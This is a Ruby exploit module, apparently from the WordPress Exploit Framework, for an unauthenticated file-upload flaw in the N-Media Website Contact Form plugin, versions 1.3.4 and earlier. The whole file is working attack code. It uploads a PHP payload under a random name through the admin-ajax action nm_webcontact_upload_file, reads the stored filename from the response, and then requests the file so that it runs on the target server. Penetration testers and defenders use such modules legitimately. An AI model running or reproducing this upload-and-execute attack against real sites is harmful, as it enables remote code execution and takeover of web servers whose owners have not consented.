lib/wpxf/modules/exploit/shell/n_media_website_contact_form_shell_upload.rb
# frozen_string_literal: true
class Wpxf::Exploit::NMediaWebsiteContactFormShellUpload < Wpxf::Module
include Wpxf
def initialize
super
update_info(
name: 'N-Media Website Contact Form <= 1.3.4 Shell Upload',
desc: 'This module exploits a file upload vulnerability in versions '\
'<= 1.3.4 of the N-Media Website Contact Form plugin which '\
'allows unauthenticated users to upload and execute PHP scripts '\
'in the context of the web server.',
author: [
'Claudio Viviani', # Vulnerability discovery
'rastating' # WPXF module
],
references: [
['URL', 'http://www.homelab.it/index.php/2015/04/12/wordpress-n-media-website-contact-form-shell-upload/'],
['WPVDB', '7896']
],
date: 'Apr 12 2015'
)
end
def check
check_plugin_version_from_readme('website-contact-form-with-file-upload', '1.4')
end
def payload_body_builder(payload_name)
builder = Utility::BodyBuilder.new
builder.add_file_from_string('Filedata', payload.encoded, payload_name)
builder.add_field('action', 'nm_webcontact_upload_file')
builder
end
def run
return false unless super
emit_info 'Preparing payload...'
payload_name = "#{Utility::Text.rand_alpha(rand(5..10))}.php"
builder = payload_body_builder(payload_name)
emit_info 'Uploading payload...'
res = nil
builder.create do |body|
res = execute_post_request(url: wordpress_url_admin_ajax, body: body)
end
if res.nil? || res.timed_out?
emit_error 'No response from the target'
return false
end
if res.code != 200 || res.body !~ /filename/i
emit_info "Response code: #{res.code}", true
emit_info "Response body: #{res.body}", true
emit_error 'Failed to upload payload'
return false
end
begin
stored_name = JSON.parse(res.body)['filename']
rescue StandardError => e
emit_info "Response body: #{res.body}", true
emit_error "Failed to parse response: #{e}"
return false
end
payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', 'contact_files', stored_name)
emit_success "Uploaded the payload to #{payload_url}", true
emit_info 'Executing the payload...'
res = execute_get_request(url: payload_url)
if res && res.code == 200 && !res.body.strip.empty?
emit_success "Result: #{res.body}"
end
return true
end
end